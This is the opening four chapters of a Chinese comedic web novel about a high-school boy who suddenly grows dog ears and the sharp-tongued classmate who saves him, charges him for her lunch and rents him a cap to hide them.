《校园里养半兽人》
1. 长出狗耳朵了!
九月底,洛水市。
原野中学的树林郁郁葱葱,阳光透过枝叶间的缝隙洒下,一派宁静。
这片树林是校友捐赠,位于原野中学的东部,走进深处,树木渐渐稀疏,变为一片浅草地,坡度较缓,一直延伸到小河边。
河上有几只校工喂养的鸭子,正在本地漫游中……对岸也是一片绿色,不大的草地,有几栋小木屋,屋外的绳子上挂着一些衣服。
再往东,就是学校的围墙了。没有门,也不知道那些校职工都是怎么从树林穿过,渡过这条目测两米宽的小河的。
现在是午休时间,大部分学生都闹嚷嚷地涌向西南边的食堂,这里少有人来。
高二6班的学生林风临,此刻却就坐在草地上,背靠着一棵大树。
她脚边散落着几只笔和一个小本子,膝盖上放着饭盒,她握着筷子却没动。
林风临今年17岁,长了一双明亮的杏眼,眼角圆钝,笑起来的时候应当很无害。但正因如此,进入青春期的她开始不爱笑了。
她开始寻求一种形象的转变。
或者说,身份上的不同。
但还没等她重重的心事理出个头绪,眼前突然出现了一个迅速移动的模糊人影,以迅雷不及掩耳之势打翻了她手里的饭盒!
无辜的饭盒倒扣在草地上,发出沉闷的一声响。
筷子咕噜噜往河岸下滚去。
林风临只来得及往那瞥了一眼,就顾不上自己的东西了。
因为有人正死死扣住她的一只手腕。
她震惊之下刚要抬脚就踹,却猛地顿住了。
午后光线强烈得几乎发白,她看清了眼前这个奇怪的冒犯者。
这个男生跪在草地上,低垂着头,肩膀微微发抖,抓着她的那只手,校服袖子上全是草和泥。
就好像这个人,刚刚在地上狼狈地滚动挣扎过。
身形很眼熟,林风临歪了头去看他低着的脸,眉目深刻,鼻梁高挺,嘴唇紧紧抿着。
即便是这个样子,也能看出他平时样貌的锋利。
不是他们班大名鼎鼎的陆巡又是谁?
说起陆巡的事迹,真是三天三夜也说不完。
一开学就以极其出色的样貌在高二年级出名了,而比他的色相更出名的是他恶劣的脾气性情。
据说班主任鲁老师被他顶撞得犯了心脏病,差点没救回来,所以开学的那段时间才会有代理班主任来班里视察。
还有人说他在校外寻衅滋事,和二中三中的小混混约架,进过派出所。
……
种种事迹,或真或假,没有一件是平易近人的,就像他平时在班里的脸色一样。
开学快一个月了,没见他和人亲近过,总是独来独往。
这样一个跳出校规外,不在守则中的人物,怎么会以这个样子出现在眼前?
手腕被捏得生疼,林风临的火气也上来了。
“放手!”
陆巡低着头喘息,对她的要求置若罔闻,甚至握得更紧了。
林风临简直疼得莫名其妙,加大音量对他说:“陆巡!松手!你找死是吧?再不松手我真动手了!”
眼前狼狈跪着的人,总算对自己的名字有了反应,慢慢抬起头来。
他眉宇紧皱,全是汗水,眼神几乎是失焦的,似乎有水色在眼里闪动。
似乎在竭力看清眼前的女生,他慢慢开口说:“你……”
刚说了一个字,他就被一股大力踹开了。
陆巡毫无挣扎地被踹倒在草地上,发出几个听不清的气音,然后又似乎由于某种痛苦,蜷缩了起来。
高大的人,现在团成一个虚弱的馄饨。
林风临揉了揉自己的手腕,站起身来,冷冷地打量这个风云人物。
“神经病。”她清晰地骂了一句。
今天妈妈送的午饭被打翻了,筷子还不知道滚哪去了。
林风临本来脾气就不好,现在更是恨不得再踢他两脚。
我管你是谁,谁也不能给我找麻烦!
草!一种植物。
林风临捋捋脸旁的刘海,拍拍手转身就走,马尾辫在她脑后甩出一个愤怒的弧度。
算他好运,算她好心。去给他找个老师吧,打个120什么的。
这眼看是发病了。还病得不轻。
刚跑出去两步,身后的草地窸窸窣窣的动静变得奇怪。
林风临转头一看,不得了了!
那个长得帅的神经病顺着草地往河里滚了!
妈呀!这别掉进去淹死了!
林风临三步并作两步,急急忙忙骂骂咧咧地伸出手过去捞人。
捞一下!没抓住!
再捞一下!Miss!
我靠滚得越来越快了!
情急之下,林风临一个猛虎扑食,扑下了草地,险险抓住了陆巡的一只手臂。
他被拽得拐了个弯,草丛发出剧烈的摩擦声。
林风临抓他抓得很紧,一咬牙腰部发力,像拔萝卜似的把他往上拔了一截,自己借这股蛮力跪坐了起来,总算止住了他下滑的趋势。
她没敢松手,就地骂了起来:“神经病啊你!找死啊!吓死我了气死我了!!”
“赔钱!我的饭!我的腰!我的手!疼死我了啊啊啊啊啊!”
林风临充满气势的尖叫戛然而止。
手底下的这个男生趴在草坡上,俨然一副生死不知的倒霉样。
可是!
他的脑袋!脑袋怎么会自己动!头发在动啊啊啊啊啊啊!!!!
救命救命!这什么灵异事件!大中午的也敢现身吗!!!
林风临在心里大声尖叫,虚得手直抖,连手都忘了松,手底下怕得发力,死死掐住陆巡的手臂。
然后在她不敢置信的目光中。
男生黑色的碎发里突兀地弹起了两只对称的白色毛茸茸耳朵!
陆巡是被疼醒的。
今天中午,他本来是准备逃出学校,翘掉下午的课。
本来应该轻轻松松走过树林,从从容容跳过小河,再游刃有余翻过围墙,开启一场自由刺激的校外之旅的。
他插着兜经过树林的时候,手痒跳起来折断了头顶的一根树枝,一个帅气饱含滞空感的起跳。
刚刚潇洒落地,头就剧烈地疼痛起来,毫无预兆,他连叫都没来得及叫,就被击倒了。
像要裂开一样的痛,他在树林里来回挣扎翻滚,不知道撞到了多少棵树,才终于撞了出去。
毫无遮挡的刺眼阳光让他的眼睛也疼起来,奇怪的是,他的其他感官似乎前所未有的清晰起来。
他听见笔尖在纸上的沙沙声,树叶摇动摩擦的簌簌声,甚至远处的呼吸声。
闻见一股清香。但更浓重的是一股讨厌的馊味儿。
陆巡挣扎着跪
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起来,在地上手脚并用爬了一段,他不知道自己要找什么,只是顺着那两股相近的味道单线程地冲了过去。
树荫重新笼罩在头上,他隐约中看见了一个人影,来不及想,强烈的冲动让他扑过去一把打翻了那个讨厌的味道。
味道没有了。
他只抓住了一股香味。
那香味在他手中扭动着,似乎要逃开,他在汗水淋漓中握得更紧。
有一个好听的声音在喊他的名字。
他抬起头,刚说了一个字,肚子突然受到重击——他向后倒了出去。
以为自己又被命运击倒了。
后来的事情模模糊糊,他好像在梦里,碎石的声音在耳边不断滚动,他向悬崖下无可挽回地坠去。
突然有人抓住了他。
那股香味抓住了他。
他终于安心地晕了过去。
但是晕着总不安宁,似乎有人在掐他。
头上也有奇怪的感觉,好像被揉捏抚弄,非常,非常奇怪的感觉。
陆巡终于被疼醒了。
他勉强睁开眼,午后的阳光透过树荫但威力不减。
浑身上下都疼,尤其是头顶、人中和右手手臂。
视线中令人眩晕的白光渐渐淡去,视野正常起来。
陆巡看到了一个眼睛圆圆但是充满杀气的女子。
陆巡:?
他觉得有点眼熟,但还没等他想起点什么,那个面色不善的女生突然凑近,一把揪住了他的衣领,一字一句说:“陆巡,狗东西,赔钱!”
莫名其妙被骂了。
但是陆巡想起了这个声音,是他的同班同学,好像还是英语课代表来着。
叫……林风临?
陆巡硬邦邦地说:“你……林风临?为什么骂我?”
嫌犯要求证据。
那就给他证据。
还虚弱着的陆巡被林风临扯着亲眼看到了倒扣的饭盒、翻洒的饭菜、还有一支孤零零的筷子。
一阵心虚涌了上来。
但是陆巡从来不示弱,于是他维持着一副拽样,说:“抱歉,不过我会赔给你的。”
说着开始掏兜儿,掏了两下,他冷傲的脸有点裂开了。
“我的钱呢?我有钱的!我真有钱!”
林风临抱臂在旁边看他出了洋相,心里才舒服点,抽出手摇了摇,张开手心露出一张纸币和三个钢镚儿。
她很不客气地说:“什么你的钱?是我的钱!我妈给我做个便当不容易,起码算三十块钱,你还欠我17块5毛。”
陆巡从未见过在他面前如此嚣张之人,忍不住气笑了:“你敲诈我?我又不是故意打翻你饭盒的!那里面肯定有东西馊了!我能闻见,我现在还能闻见!”
“闻见?”林风临半信半疑,目光忍不住朝他的头顶飘去。
她少见地犹豫了一下,还是开口问道:“你是狗吗?”
陆巡:……
他气得直接从地上跳了起来,决定用身高震慑一下这个又瘦又矮的疯女人。
但是,他刚站稳,就僵住了。
什么,什么东西……头顶上有什么东西,在风中微微摇摆弹动着。
林风临奇异的目光还停在他头顶。
陆巡迟疑着抬起手,在自己头上摸到了那不应该出现在人类身体结构里的……软的、热的、毛的……耳朵。
他眼前一黑。
2. 当狗的烦恼
河水里映出两只雪白的毛绒三角耳,内里甚至是荒谬的粉色。
此刻,这对狗狗耳朵猛地摇晃了起来,它们的新主人向后跌坐在了地上。
陆巡这辈子没有这么震惊过。
他真的破防了。
脚步声越来越近,他忍不住抬头喊道:“你……你对我做了什么?”
林风临径直越过了他,在他旁边的河岸上来回摸索。
只留给他一个无情的校服背影。
原野中学的校服蓝白相间,背后两排校训:
“人好做,做好人;事难为,为难事。”
无情的字眼仿佛在嘲笑他。
陆巡第十二次伸手扯这对无辜的毛茸茸耳朵,但除了展现它们良好的弹性以及让他疼得面容扭曲之外,毫无作用。
陆巡的天真的塌了!
他知道自己不算什么好人,但是……起码是个人吧?
十七年的做人信念崩塌了!
而旁边那个莫名其妙的林风临甚至还在找她的另一支筷子!!!
这是什么人哪?
这是什么样的世界啊?
陆巡终于崩溃了,他从河岸上一骨碌爬起来,大吼道:“别找了!”
林风临忙碌的背影一顿,她面无表情转过身来,手里还揪着一把草。
她白皙的手指缓缓收紧,簌簌草屑落下,挤出的汁水顺着指缝流淌。
一滴,两滴,三滴。
陆巡头上的耳朵突然抖了抖,他更大声地命令道:“我来找!!!”
十分钟后,陆巡黑着脸把失落的筷子递给了林风临。
林风临带着欣赏接过,诧异点评:“真没看出来,你还是个搜救犬。”
陆巡的拳头握紧了:“你能不能别再叫我狗了!我已经很难受了你看不出来吗!”
“看出来了”,林风临点点头,“那又怎样?我说的都是实话。你难受是你的问题。”
“怎么会是我的问题!”
陆巡咬着牙,感觉十二万分的糟心。
他自小在外面闯,长得凶又胆大,遇见谁都没怕过,10岁以后更是没吃过亏。
没人敢惹他,惹了他就一定会付出代价。
他像只没人要的野狼,每根毛都写着滚远点。
上了高中之后,他的身高一跃蹿到了一米八,配上他越长越锋利逼人的面孔,更显得戾气十足。
已经很久没有人当他面这样挑衅他了。
偏偏这个奇怪的女生捏住了他的把柄。
突然长出的非人部位,成了他最大的弱点。
他不敢想,如果这个事情让别人知道了……
他得有多少人要揍!
这么大的工程,他会累死的!
而且,麻烦,很麻烦!
想到这里,陆巡忍住气,抬起头,走近了林风临。
他的步伐是练过的,为了在打架的时候显得更有气势,更能震慑住人。
当他板起面孔,黑沉沉的目光盯住对方,一步步逼近,对方通常都会谨慎地退后两步。
但是这次,对面的这个女生不知道是缺根筋还是根本不怕,站在那一动不动,冷冷地盯着他。
陆巡竟然感觉到了她身上升腾的怒气。
压住这种错乱的荒谬感。
他一步步走向她,直到把她笼罩在自己的阴影里,她白皙柔软的面容近在咫尺。
陆巡突然觉得有点刺眼,他稍偏了偏头,尽量绷住了威胁的语气:“我头上长东西的事,保密。要是告诉别人,我不会放过你。”
耐着性子听他发表意见的林风临,翻了一个巨大的白眼,“谁稀罕提起你?你是谁啊?让路!”
陆巡不敢相信地吸了一口气,又仔细低头看她,圆圆的眼睛,秀气的鼻子,小小的嘴,怎么会是说出这种话的人呢?
怎么会有人嚣张到这种程度?她就一点都不怕他?
林风临看陆巡纹丝不动,气上心头,她退了两步一个助跑就冲着他顶了过去!
而陆巡,不愧是打架熟手,即便是在极端的迷惑和不解中,也迅速做出了反应,立刻侧身弓腰跳到了一边,给她让出了路。
林风临像牛犊似的冲出去了一段才站住,她回头瞥了他一眼:“早让路不就行了?跟听不懂人话似的。”
行,陆巡这下听懂了。
他懂了这是个吃软不吃硬的女孩子。
太奇怪了,他自己不也是这种人吗?
以前也没觉得自己有这么嚣张啊?
陆巡想,算了,毕竟她救了自己一命。
要不是她,自己可能掉进河里都没人发现。
那就说点好话吧。
陆巡追上她,“等等,我错了。我重说行吗?请你帮我保守秘密。”
林风临停住脚步,回过头,打量着他。
陆巡背着光更显得高了,身材清瘦,眉骨很高,睫毛黑沉沉压着,丹凤眼锐利上挑,配上高挺的鼻梁,和总是抿着的唇,煞气确实扑面而来。
但是头上此刻顶着的两只可爱萌耳朵,完完全全把他的画风带到了奇怪的地方。
不得不说,挺让人移不开眼的。
反差感,还有种……诡异的可爱。
简单来说就是:噫,这什么?看一眼!
噫,这什么,再看一眼!
林风临这么看了他好几眼,再瞥他现在有点恳切的表情,气消了一大半。
她平和地说:“其实不用太过在意,这根本不算什么秘密。我都懒得说。”
陆巡听着她语气缓和了,想着有戏,再加把劲。
但是他很久没说过好听话了,说些什么呢?
脑中那些人混合着怜悯和优越感的脸一闪而过,陆巡突然有了灵感。
午后树林里,树叶沙沙,他傲气的脸浮上脆弱的神色,声音低低的:
“我怕被别人嘲笑,我已经够是个异类了。大家本来就看不惯我。他们如果发现我长出了这样可笑的棉花耳朵,我就连最后一点气势也失去了……”
陆巡的睫毛垂下,落下阴影,一下一下眨在人的良心上。
林风临从他说第一句话就开始皱眉,等到他说完,她忍不住发问了:
“为什么狗耳朵就没气势?难道要长出一对牛角才行吗?”
陆巡:……
好累。该死的,我竟然不觉得意外了。
从她嘴里说出什么都正常。
陆巡抬起手捏了捏眉头,麻木地说:“……总之,请你不要告诉别人。”
“可以。”林风临点点头,补充道,“前提是你记得还钱。”
陆巡觉得自己好像得高血压了。
他伸手指着林风临,说不出话来。
总觉得他会被这个人气得少活十年。
后来的卑微交易,陆巡已经不愿意再回想。
总之,他追着充钱才得到了和她好声好气交流的机会,忍痛氪金得到了她不计前嫌的掩护。
林风临纡尊降贵,为他跑回教室,拿来了自己的红色鸭舌帽,给他戴着藏耳朵。
租金30块钱一天,不满一天按一天算。
返还时帽子如果变形,赔偿80元。
天知道,陆巡本来是要溜出学校潇洒去的!
但是这个帽子的租金都欠下了,不物尽其用总觉得太亏了。
去校外见的人太少了,还是学校里的人群密集,性价比高。
陆巡面无表情地扣上帽子,挪了挪位置,感觉耳边的杂音少了很多,舒服了一点。
但是……帽子里被压趴下的Q弹小三角有点受罪。
管他呢!
现在有更好玩的事儿要做。
林风临给他递完帽子就走了,她赶着去上午自习,还特意叮嘱陆巡离她远点,不要和她一起回班。
哼。
陆巡嘴角扬起一抹恶劣的笑容,他会那么听话吗?
耳边风声呼呼作响,周边的人影一闪而过。
陆巡全力奔跑,校服衣摆高高扬起。
很快,他就在三三两两的人群中间看到了林风
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临。
他目标明确,轻盈又不失张扬地在她周边人群中穿梭。
直到他稳稳跟上了她的步伐。
身后一阵小小的惊呼,旁边突然多了一个人。
林风临转头对上了陆巡得意的眼神,他顶着周边人的目光,大声说:
“好巧啊!这不是林风临吗?你也来上学啊?”
周围各式各样的好奇眼光打在脸上。
林风临的拳头又硬了,但是想到这个傻大个要赔她那么多精神损失费,她又默默按捺住了。
“是啊,陆巡同学!你这帽子真好看,像是女孩子戴的。”她笑盈盈回敬道。
两人并肩而行,脸上的神情都热切得不像话,在旁边的学生们看来,那叫一个亲密融洽。
陆巡皮笑肉不笑地说:“女孩子戴起来俗气,我戴着才叫帅气呢。”
“哦,确实是我太传统了,不如明天我给你带条裙子来?陆巡同学再帅气一把,让我开开眼界呗。”
两个人越走越近,快掐起来了。
午自习快要开始了,陆陆续续回教室的人稀疏可见。
这对债主冤家的身影在后面人看来,显眼得像一群正确答案里的红叉叉。
刚从校外回来的高二年级教导主任赵宏,望着他们的方向,皱起了眉头。
林风临还不知道自己在教导主任那挂上号了。
至于陆巡,就算知道他也不在意,何况以他的口碑,估计早就上教导主任的暗杀名单了。
债多了不愁。
此刻他坐在教室后排,正聚精会神地……闭着眼睛。
午自习的教室里很安静,班主任鲁老师没来,此刻坐在讲台上看自习的是他们班的班长方婉。
她长得精致漂亮,洋娃娃似的唇红齿白,连束在脑后的马尾辫都微微带卷。
方婉的目光从后排睡觉的陆巡和他有多动症的同桌身上一掠而过,像是什么都没看见似的。
但是扫过教室第一排窗户旁的某个人时,却顿了顿。
那个人正低着头,脊背挺得笔直,下笔不停,像开了机关枪似的。
她在心里轻轻嗤了一声,又感觉到一种紧迫感,于是低下了头,奋笔疾书起来。
余光瞥着讲台的林风临见状,用手肘轻轻碰了碰自己的同桌李月然,做了个“饿饿饿饿”的口型。
被那个半人狗害得午饭都没吃上,自习课还要写数学大题,林风临真的快饿死了,她都听见自己肚子叫了!
同桌李月然肯定也听见了,呜呜。
但李月然是个每天上学都会给她带小零食的天使,所以林风临可以向她求救。
接过同桌的地下投喂,林风临因为饥饿而暴躁的情绪终于稳定下来。
天使在人间啊!!!
后排的陆巡虽然闭着眼睛,但是并没有睡着。
他正在尝试驯服头顶的野生毛耳朵。
这对耳朵实在太娇气了!
不戴帽子嫌吵,戴了帽子嫌闷。
而且此刻明明在帽子底下,却还是听得太多太远,让人心烦意乱。
等等。
陆巡突然想到。
自己和林风临在小树林吵架的时候,也没觉得她说话的声音音量不对劲呀。
难道是注意力转移的原因?
还是说这对耳朵像个天线,可以自己调节呢?
他专注隐蔽地尝试把注意力引向自己新长出的耳朵,得到了立即的回应。
这种感觉很奇怪,就像闭着眼睛,也能感觉到自己控制手指的屈伸一样。
陆巡此刻看不见头上的耳朵,但他能感觉到,还能控制它们的竖起和贴伏,甚至还能抖动。
他尝试着让毛绒耳朵趴下来,贴紧脑袋。
果然,效果立竿见影,周围的音量正常了。
哇!很高级嘛!
陆巡有点得意,但刚刚沾沾自喜了没一会儿,脑中就冒出了一个让人不愿回答的问题:
所以,在小树林的时候,为什么他没有觉得林风临吵呢?
3. 打工狗养帽子
陆巡现在很后悔。
后悔不该在午自习的时候因为太饿,没忍住接下了同桌的示好牛肉干。
好了,现在下课了,让人缠上了!
陆巡的这个同桌王竞勇,其实还是那个爱操心的班主任鲁自强闹出来的事儿。
也不知道他究竟从陆巡高一的老师和同学们那里,打听到了些什么,又脑补了一些什么。
这个头发花白的老头儿,精神头十足,一开学就把陆巡叫过去东拉西扯说了一堆,什么绝对保护他的身世隐私啦,保证同学们都会对他很友好啦,一定给他一个好的成长环境啦。
陆巡装乖背着手,听得魂飞天外,越听越不耐烦,一开始还以沉默对抗,后来实在被他念经的功力烦得不行,只好开口嗯嗯好好我知道。
结果!这个老东西给他安排了一个傻子同桌!
这个王竞勇,完全就是纯种傻子!
一天到晚就知道玩球和邀请他玩球!
每天上学傻不愣登抱个篮球,下课了在桌子旁边用手拍球,上课了在桌子底下用脚玩球,还故意把球踢到他这边来。
想他给他传球。
不是?
陆巡烦得不行,靠自己天生的臭脸才勉强把这个过分热情的同桌排斥在30厘米以外。
结果今天就因为耳朵事变,打乱了他去校外吃香喝辣的计划,他破功了!
他接受了王竞勇推过来的牛肉干。
现在人家打蛇随棍上了。
“好吃吗陆哥?”
“你数学作业写了吗?”
“陆哥,你这帽子哪来的啊?”
“我能摸摸吗?”
摸你个头!
陆巡从未如此怀念过高一那些歧视又漠视他的同学们。
他咬咬牙,姑且一试:“你坐好,王竞勇!……哎呀球拿开!”
“你听我说,我是孤儿,没有父母,在福利院长大的,和你不一样,懂不?你爸妈要是知道你和我交朋友,铁定教训你一大堆!”
所以,别再找我玩球了!
王竞勇小麦色的憨厚脸庞愣住了一瞬,不知道他异于常人的脑瓜子怎样运转了一番,最后,他像是下定了决心。
只见他凑近陆巡悄咪咪地说:“那有什么,不告诉他们就行了!等爸妈变老了死了,我不就也是孤儿了吗?我们一样的!”
陆巡:?
神经病啊!
陆巡猛地从座位上站起来,他一秒钟也受不了这个大逆不道的傻子了!
他决定尿遁,躲去卫生间,等上课铃响再回来。
刚踏出教室后门口,气得竖起的毛耳朵,在黑暗的帽子底下动了动,突然捕捉到了熟悉的声音。
自他今天有新耳朵以来,听得最多的声音。
是林风临的脚步声。
向他的方向来了。
陆巡突然脚步一转,长手一伸从座位上拿起了自己的水杯,装模作样地在门旁的饮水机接起了水。
“陆哥,你手没劲吗?我来帮你!”
王竞勇的目光一直跟着陆巡转,看见他按着的水龙头只滴下一条细细的水线,自告奋勇就要来插手。
陆巡:……
真行,傻子说话就是硬气啊。
“不用,转回去!”陆巡挥挥手给他下了明确的指令。
脚步声越来越近了,陆巡的毛绒耳朵在黑暗里兴奋地抖动起来。
就是现在!
陆巡猛地从饮水机前转身,刚好对上了从后门口进来的林风临的视线。
林风临收回视线,目不斜视地从他身旁经过了。
陆巡满腔扬起来的战意就这样瞬间被浇灭。
他像反应不过来似的,一直看着她的背影,直到她走回左边第三排的座位坐下。
她扬起的香气很快消散了。
就这样?
一句话也不说?
凭什么!
他刚刚想出了好几句绝妙的刻薄话,为什么不看他?
信不信他不还钱了!
陆巡的眉头压下来,往座位上一坐,浑身都是低气压。
偏偏他的同桌王竞勇是个读不懂脸色的,还在不停问:
“陆哥,你数学作业写了吗?”
“能借我看看吗?”
“我篮球借你玩。”
陆巡猛地转头看他,目光带着审视和质疑,还有一种说不出的杀气,刮骨刀似的在他身上过了一遍。
王竞勇丈二和尚摸不着头脑。
但好在,只是一会儿以后,他的大好人同桌陆巡,就掏出了一张试卷甩在他面前。
“要抄作业就抄作业,别整那么多花头。”王竞勇听见他冷冷地说。
于是王竞勇如饥似渴地抄了起来,还用手指指着仔细地来回看着,像报纸上严谨专注的科学家。
陆巡看着自己的傻子同桌抄得忘我,一点注意力都没再分给过他,脸色越来越黑,最后已是咬牙切齿。
好啊,还说怎么有人这么拼命缠着他要和他做朋友,原来不过是为了这个!
无耻!
现在的人,为了抄作业什么话都说得出口,什么和他一样,什么不在意身世,统统都是借口!
太现实了,太现实了,连傻子都为了利益不顾一切了。
陆巡气得发抖。
连傻子都这样……
他漠然地想,林风临也一样吧。
回教室以后就不理他了,肯定是因为他承诺的钱还没给她。
哼。
他今晚回福利院就把他的私房钱全拿出来。
明天把她吓晕过去!
吓不吓得着不知道,但是第二天起床的林风临,疼是快疼晕过去了。
昨天发生的事太多太乱,又是饿肚子,又是英勇救人,又亲眼目睹大变活狗。
作业也多,林风临下了晚自习回家还库库写到深夜,晚上也没睡好。
今早听到闹钟,作为一个内驱力极强的高中卷王,她本来应该一个鲤鱼打挺就跃出被窝的!
结果她刚抬起上半身离开床面,人就突然间僵直了。
然后像一块万念俱灰的砧板一样又直挺挺地倒回了床上。
怎么回事?她的腰好疼!
不会是昨天她急着把陆巡从河岸边扯上来的时候,闪到腰了吧?
疼疼疼疼!
厨房里,系着围裙的林晚霞有些疑惑,她手里拿着锅铲,探出厨房看了一眼客厅的钟。
已经6:45了。
奇怪,这个时间女儿应该早就冲出来洗漱了呀。
她放下锅铲,扭开林风临的房门,喊道:“风铃啊,还不起啊?马上上学迟到了!”
拉着窗帘漆黑的房间里,那团拱起的被窝中,伸出了一只虚弱的手:“妈,有狗皮膏药吗?”
————
陆巡起了个大早,揣着自己平常去逃课去校外打工挣的钱,早早到了教室蹲守。
他要把钱拍在林风临脸上,然后挺起胸膛做人!
他自己回去想了想,确实林风临被他无缘无故打翻了午饭,又劳心劳力救了他,给他打掩护,她生气说点刻薄话也正常。
要钱也正常。
她总要得到点什么吧?
毕竟她一看就是那种傲气到不愿意吃亏的人。
不管怎么说,他给她多多的钱作为报酬,她总开心了吧?
可是,等啊等,等到7点19分,早读课马上开始了,林风临竟然还没到校!
一脸郁闷的陆巡从地上站起来,默不作声地从林风临同桌身后挤出去了。
突然看到一个大活人在座位旁边升起来又飘走的李月然:?
这是干什么?这是?
她张了张嘴,回头看了一眼,又不敢置信地凑到林风临座位上看了看。
所以刚才这位陆巡同学,就一直躲在墙边和林风临桌子的夹缝之中吗?
救命啊!这是什么癖好?
胆小的李月然忧心忡忡,这个人不会要霸凌林风临吧?
说曹操曹操到,说风铃风铃响。
气喘吁吁的林风临,拎着书包,敞着校服外套,在早读铃响起前的最后三秒,奔进了教室。
刚坐下,教室门口墙上的铜铃就尖锐地响了起来。
林
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风临呼吸还没喘匀,把糊在脸上的头发拂开,问李月然:“今天什么早读?不是英语吧?”
问话的间隙,她已经抬头看见一个高挑的身影径直走上了讲台。
“太好了,是语文早读,”林风临终于放松下来,趴在了桌上,“不是我领读。是关容。”
一头利落短发的关容,在讲台上没有感情地开口:“请大家把语文书翻到128页《出师表》。”
作为语文课代表的她,扫了一眼底下的同学们已经陆陆续续拿出书,于是她领读了一句:“先帝创业未半而中道崩殂……”
“今天下三分,益州疲弊,此诚危急存亡之秋也……”
读书声响起。
李月然借着声音的掩护,悄悄问林风临:“你今天起晚了吗?早饭吃了吗?”
“吃了吃了。”林风临摆摆手,“嗨呀,不是起晚了,是腰疼,哎,懒得说了。”
担心着的李月然也没有多问,现在她有更重要的事情要说。
她小心地往教室后排看了一眼,正巧对上陆巡投来这边的目光。
李月然:!
她更担心了,连忙转回来,凑近林风临,细声细气地说:
“风临,你知道那个陆巡吗?我怀疑他想欺负你。”
林风临:?
倒反天罡!
他还想欺负她?
林风临不屑地笑了一声:“他敢!”
李月然欲言又止,终于还是说:
“今早他像神经病一样躲在你座位旁边,就这儿!蹲在那,我都没发现。
然后他站起来就走了,特别自然,把我的椅子抬起来一截,就出去了。
你说他是不是?”
她隐蔽地指了指自己的太阳穴。
林风临:……
后排竖着耳朵偷听的陆巡:……
陆巡一拍桌子,震得旁边偷吃牛肉干的王竞勇疑惑地看他。
“吃你的!不关你事!”他恶狠狠地说。
讲台上的关容冷冷瞥过来了一眼。
陆巡丝毫不怵地瞪了回去。
只是他关注的那边,林风临始终没有回头。
可恶!
我倒要听听她怎么说我。
已经迅速进入半兽人角色的陆巡,现在运用起灵敏的耳朵那叫一个得心应手。
红色鸭舌帽下机警的两个笋尖尖,像天线一样抬了起来,并调转了方向,对准林风临的座位收听。
“他是有点神经病。不过你别担心,他没什么坏心。脑子也……还正常的。”林风临安慰自己受到惊吓的同桌。
陆巡的耳朵尖愉悦地抖了抖,没想到,林风临这个疯女人,对他的印象还不错嘛。
他一高兴,就想她也高兴一点。
心里算了算自己的存款,又盘了盘自己的打工报酬,他决定大方一点。
不就是喜欢钱吗?
他给她钱!
她高价租给他的帽子,他要了!
不还了,让她一直扣钱吧。
陆巡抬起手整理了一下帽檐,突然问自己的傻子同桌:
“我戴这个帽子,看起来怎么样?”
王竞勇:“像打球的。”
陆巡:……
“牛肉干给我一个。”他毫不客气地虎口夺食。
陆巡是开心了。
殊不知林风临慌得不行。
这个家伙莫名其妙蹲在她座位上干嘛?
找她算账?找证据?
不会发现了吧?
她确实趁人之危占他便宜了没错,但是她也做急救了呀!
是,她是没忍住撸了他的狗耳朵,可是同时她也记挂着他的安危呀。
一个手揉耳朵,一个手掐人中,不是把他掐醒了吗?
主要是,半兽人诶!活生生的毛茸茸耳朵顶在头上,这谁能忍住?
她只是犯了一个全天下所有人都会犯的错误,对不良诱惑勇敢说了yes而已!
他不可能会发现的。
林风临想。
没有任何破绽。没有证据。
他一定不会发现的。
4. 狗说外面的世界很精彩
林风临做了亏心事,正是心烦意乱的时候,手上的书没拿稳直接倒在了桌上。
同桌李月然看她神色慌张,心神不定的样子,忍不住问:
“吃饼干吗?”
林风临想说现在哪是吃饼干的时候啊,早读呢,她烦着呢。
“吃点也行……”
哎呀!怎么又破功了!
早上怎么能吃零食呢,开学她都胖了3斤了!
可是……李月然给她的东西都好好吃啊。
馨香浓郁的奶味小饼干塞了满嘴,太幸福了。
李月然还拧开自己的保温杯,在小杯盖里给她倒了自己带来的花茶。
“不急,慢慢吃。”
热乎乎带着鲜花香的水一入喉,身体里那叫一个舒适熨贴。
林风临圆圆的眼睛弯了起来,梦幻般地发出感叹:“这里……是天堂吗?”
“不是,这里是洛水市原野中学高二6班第一组第三排,你的工位。
你今天有8个小时的课要上,4个小时的作业要写。”
李月然淡淡笑着回她。
林风临笑不出来了。
为什么文文静静的李月然,可以说出这么残忍的话?
“你这小饼干哪买的呀,我也想要。”林风临恶狠狠咽下这口气,问出了重要问题。
“不是买的,我自己做的。”
“什么!你自己做的?你会做饼干?那昨天的雪花糕不会也是你做的吧?”林风临吃惊不小。
李月然矜持地小幅度点了点头。
“哇!这也太牛了!你是神厨啊!这是我吃过最好吃的奶油饼干和雪花糕!”
李月然的前桌陈曼文突然转了过来,手里的书举得高高的作掩护。
她小声问道:“什么东西那么好吃?”
直接转过来聊天也太明目张胆了!
李月然紧张得扭头看了看教室窗外,风平浪静。
还好还好,今天班主任说不定不来看早读。
她的脸红了一点:“也……没有那么好吃吧。你想试试吗?我还有一些。”
“要吃!”陈曼文斩钉截铁。
她是单眼皮,五官清淡,肤色很白,有点拒人于千里之外的样子。
但是。
作为她的后桌,李月然和林风临都知道,她是个经常上课偷吃,下课猛吃的吃货。
这会动作快得要命,拿到饼干就直接填了进去,转回自己的座位细细咂摸。
过了几秒,她纹丝不动,从座位底下往后伸了个大拇指,并狠狠摇晃了几下。
表现了作者强烈的赞美和推崇之情。
林风临看得嘎嘎笑。
推了李月然一下:“我就说你是神吧?谁会不喜欢你做的东西啊?女神我要追随你!”
这厢其乐融融,后排的天线宝宝越听越不舒服。
陆巡冷着脸抱起双臂。
为什么林风临和别人说话的时候那么正常?
和他说话的时候就像欠了她钱似的。
不对。
难道还是因为钱吗?
该死,他早读一下课就还钱!
不想听她说话了!一听就烦。
他愤怒地关闭了天线。
然后一扭头对上了后排窗外直视着他的班主任。
陆巡:……
鲁自强满脸严肃,眉头紧皱,严厉的目光紧盯着陆巡,抬手敲了敲玻璃,示意他出来。
班里似乎也静了一瞬。
察觉到投来这里的众多目光,陆巡无所谓地插起了兜,转身走出了教室。
窗外走廊上。
鲁老头挑剔审视的目光打量着陆巡,他头上那顶扎眼的红帽更是被重点照顾。
班主任的沉默带来的压迫感,没有对久经沙场,战功赫赫的陆巡造成任何影响。
早晨的阳光透过树叶暖洋洋洒进走廊,陆巡有点想喝饮料。
没饮料喝,只能陪一个穿着黑色老夹克的老头打发时间。
头发有点少,皱纹有点多,这里边的毛衣得有点岁数了吧。
这才几月,穿上毛衣了还。
唉,将就着看吧。
王牌技能“老班的凝视”没有产生应有的效果,甚至这个学生还倒反天罡咂着嘴打量自己。
鲁自强气得大吼一声:“站直了!老实点!”
